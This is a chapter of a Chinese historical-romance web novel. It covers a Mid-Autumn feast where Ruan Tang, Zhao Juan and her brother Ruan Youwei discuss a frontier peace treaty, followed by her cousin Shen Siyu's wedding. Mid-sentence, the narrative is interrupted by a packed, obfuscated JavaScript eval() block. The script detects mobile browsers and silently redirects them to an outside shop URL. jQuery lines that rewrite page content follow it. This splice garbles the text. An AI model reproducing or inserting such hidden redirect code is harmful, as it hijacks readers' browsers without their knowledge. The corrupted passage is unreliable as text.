中秋起了个早,赵倦携阮棠进宫给太后磕头问安。中午便留在慈明殿用膳。
阮又微今日一早便能到京城,要先去皇宫向官家“报到”,领旨上任。办妥手续后,即可归家。阮棠与赵倦商量,与阮三郎一起过中秋。
赵倦便假意在慈明殿喝醉,昏睡着离开皇宫。由许章去向官家禀报,借此推了傍晚宫中的中秋宴。
才回府不久,赵倦的两位侄子便携了礼物上门。
秋风起,蟹脚痒。梅家两位小公子携来两筐肥蟹,说是自江南购来。过了不久,二管家来报,阮三郎也上门来。他自雍州而来,便给阮棠送了四头上好的西北羔羊。
中秋宴便摆在沃雪轩的水榭中,因这院落秀丽雅致,门庭相照,树影婆娑,水潭清浅,正适合赏月。
琳琅替阮棠改了嫦娥妆,眼下、腮上都揉了胭脂,熏熏然有醉态。云鬓高耸,着素白衫子。去到沃雪轩中时,阮又微一时没认出来。
“总当你还是小女孩儿,没想到半年不见,竟有几分大人模样了。”
阮棠也细细打量阮又微,见他和离京时没什么变化,只在左耳垂下添了一道伤。问道:“这伤是怎么回事?”
阮又微摸了摸耳垂,十分不放在心上:“在洛水城时,半夜偷袭耶律老儿的大营,被流矢擦伤。”
梅至纯他们都是热血中二的年纪,得知他从洛水城回来,都大感兴趣,细细问了一回这次战况。
阮又微也一脸痛心,耶律仁极暴病而亡,幼主登基,百杲国朝纲不稳,正是百年难遇的进攻好时机……却偏偏放过了,硬是议了和。
梅氏兄弟都扼腕叹息。
“听说议和时,幼主亲自签的和书,阮大哥可曾见到他?”
“自然见到了,说起来,这异族幼主年方十六岁,却神采非凡,进退有据,能屈能伸。假以时日,一定能成为第二个耶律仁极。”阮又微神色复杂,他既倾心于百杲幼主的风采,又担心他日成为大宁的劲敌。
如今虽已签下和书,但这脆弱的协议,也可以随时撕毁,以前也不是没出现过这等事,蛮荒之人,向来不懂礼数为何。他日若是境遇互换,百杲未必会放过大宁。
在座的人都有此隐忧,说到后面,都不由带了几分沮丧之意。
赵倦一直不曾开口说话,阮棠看过去,恰好接住赵倦看她的目光。
二人目光交错,不知是夜风缠绵,还是月色惑人,都不由自主生出几分不自在。阮棠原本想开口问赵倦的话,一时忘了个干净。
真是奇了,她心道:古人诚不欺我,果然月下观美人,妙极。
月色大约就是最早的纯自然滤镜,赵倦的病气和孱弱,在月色下完全隐遁。他的弱不胜衣,反而衬得他气质出尘,宛若谪仙。
谁料赵倦也是一样想法。赵倦平日看她,和看自家侄女差不多。那夜归途遇袭,阮棠不经思考,飞身替他挡箭,令他心神震了一震。这段日子一直对此迷惑不解,她为何要替他挡箭?
他在她心中有如此分量吗?赵倦扪心自问,答案是否定的。
因为行为得不到合理解释,赵倦愈发多想。自此后,看她便很有些不自在。今日阮棠的妆又化得好,褪去稚气,娇媚异常。原本圆溜溜的杏核眼,被拉长拉细,月下看来,很有几分缠绵的意思。
她坐的位置也刁钻,满天星河,皆倾倒在她头脸,眉目皎皎,胜过天上月。
赵倦对不受控的心神生出几分惧怕之心,目光挪开后,便垂眸盯着足前方寸之地。
这一夜便在梅氏兄弟缠问阮又微中度过。
到了后半夜,大家都困倦了,阮棠拿出来的新荔酒也喝得涓滴不剩。赵倦留客夜宿,众人谢绝。
赵倦身份敏感,为官家所忌,梅氏兄弟自是清楚。阮又微虽粗枝大叶,没有多余的心眼子,但临行前阮煌细细叮嘱过,也知道阮家在京中地位特殊,不可结党抱团,便是亲妹的夫家,也应保持距离。
当下散了席,阮棠与阮又微约定,几日后同游方池。
豆蔻给阮棠拆钗环,忍不住偷偷和阮棠道:“今夜王爷不知怎么的,老看娘子。”
“你也发现了?”阮棠没想多,只是觉得心里发毛,“不定打什么主意呢?他浑身都是心眼子,我估计是看我如今生意做得好,要来插一脚。”
豆蔻忍不住笑:“我瞧王爷是不缺钱的。”
五千贯轻易能拿得出来,自然是不缺钱的。可是——
“谁会嫌钱多呢?”
豆蔻了解她,知道她心上都长满铜钱眼儿,抿嘴笑,也不答话。
“我这一场辛苦赚的钱,全还了王爷的债,心中总觉得是白忙活了一场。”
“可是红珊瑚树回来了呀!娘子心大,我们可都提着心,文茵之前夜夜睡不着,直到看到红珊瑚树回到库房,才松了一口气。”
“那倒也是。”阮棠沉吟,有了新的想法,道,“苏式制衣店开张,画儿和玻璃制品都卖得很好,抹胸反而没激起多少水花。我想再办一次秀场,邀请京城贵妇贵女们来看,她们才是主力消费。”
豆蔻替她梳通长发,欲言又止。
“怎么?”
“我不懂那些经商之道,我只担心娘子安危。小郎君若是知道娘子上次遇袭,一定不赞成娘子在外奔波。咱们不靠王爷,单靠嫁妆也能过活。便是坐吃山空,哪一天把嫁妆吃光了,有国公和小郎君在,娘子还怕没人管吗?”
阮棠心道:你哪里知道,我现在是鸠占鹊巢,便是嫁妆,也是暂时借用正主的,既是借,自然要还。
“王爷不是派人在暗中保护我吗?放心,没有你想象那么严重。”阮棠安慰她,“再说,我们平日都是白天出门,往来都是闹市,不会有危险的。”
如今已经过去好多日子,夜袭之事没有后续,一切风平浪静,仿佛什么都不曾发生。
阮棠倒是不担心自己,若是那群人是冲着她的,那必定与查古怪当票有干系。宛新眉在宫中孤军奋战,比她危险得多。虽然她数次提醒宛新眉需要小心,但宛新眉外柔内刚,心中极有主意。嘴上答应了她,未必真肯听她的话。
沈思予婚期临近,兄长沈思衡在徐州任上,不能回京。阮又微便充当兄长,这两日都在舅舅家帮忙。其实他与沈思予同岁,论起来,沈思予还长他数月。
沈如珀和庄夫人都很欣慰,尤其庄夫人,私底下与阮又微嘱咐:“你妹妹长这么大不容易,吃了许多苦,如今虽嫁了人,但也一切都靠自己。如今你回来了,棠儿总算有了些助力。”
阮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500212|202691||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又微也很感激庄夫人这一年来的照应:“幸好有舅母。”
庄夫人心中又是另一番叹息,想这沈如琢当年也是倾城国色,嫁了个武人,结果儿子一锅端似的全送上了战场。这阮又微生得这样好,京城几乎无人胜之。若是从文,与诗书茶酒为伴,轻袍缓带着身,怕是早成京城贵女争相追求的对象。何至于现在,据说还未定亲。
大宁重文轻武,尤其重视进士出身。是以沈思衡三岁发蒙,即读书习字,一心以科考为目标。人聪明,又用功,这才早早便考取功名,政治仕途比大部分人长了一倍。
转眼间,沈思予的出嫁日到来。
阮棠一早从城外赶往庄宅,到了时,庄宅已经热闹非凡。沈如珀毕竟在京为官,素日交游广阔,结亲的又是计相的二公子,能来混脸熟的官儿,都来了。
她从侧门进,庄夫人的贴身婆子早早等候着,迎她进去,笑道:“我们娘子问了好几遭儿,问王妃到了没有。”
阮棠也笑:“我也帮不上什么忙,不过来凑个热闹。”
那婆子压低声音:“我们娘子大姑娘头一回上花轿,紧张。”
说话间,进了沈思予闺房。她已身着嫁衣,女使正在给她上妆。面靥儿贴了好几次,总是歪掉。沈思予本就紧张,被这面靥弄得心烦,便道:“要不算了,不贴这劳什子。”
阮棠走进去,打趣:“新嫁娘急着出阁啦!”
沈思予见她来了,大喜,听到她打趣,又有几分羞恼:“你也笑话我?”
阮棠让琳琅过去帮忙,琳琅手巧,在宫中就干过服饰女官,贴个面靥儿对她来说是手到擒来。当下接过女使的活,不过眨眼间,便将两枚面靥儿都妆好了。
庄夫人啧啧赞道:“好巧的一双手。”
再戴上花冠,陪嫁女使扶着沈思予站起来走了两步,众人都打眼细细看了,没有错漏。门外喧哗声忽地打了起来,庄夫人问怎么了。
进来一个女使笑道:“新姑爷被为难,让做一首催妆诗,才可进门。新姑爷想了半天,做了几首,众人都道不好不好,再来一首。急得新姑爷带着郎君们冲进来了。”
大家听了,都大笑起来。
新姑爷既已进家门,新嫁娘便不好再藏在深闺了。
与当日阮棠的婚礼相比,沈思予父母双全,嫁的颜家又非皇亲国戚,流程更接地气,热闹非凡,喜气洋洋。阮棠心道:果然皇家婚礼只有个大而空的架子,论起热闹,真是比不过。
新夫妇敬茶、拜别父母后,沈思予坐上轿子,一路吹锣打鼓,被颜廷之接去了颜府。
阮棠又陪庄夫人小坐了一时。
女儿出嫁,到底不舍。庄夫人红着眼叹道:“颜廷之上面还有个大哥,是娶了媳妇的。但几年前,大嫂病逝,如今既没续弦,也没纳妾。思予嫁过去,既要侍奉公婆,又要持家理事,她素日里心思单纯,哪里做过这些?只怕要吃苦了。”
阮棠安慰她:“舅母无需太过忧心,颜家仆从成群,颜伯母也忠厚良善。我瞧姐夫又是个人精,必能帮到姐姐,不让她吃亏。”
一句话去了庄夫人的忧愁,女儿事了,她心思一转,又忧虑到阮棠头上,悄声问:“你成亲也半年多了,怎么还没怀上?”
阮棠:“……”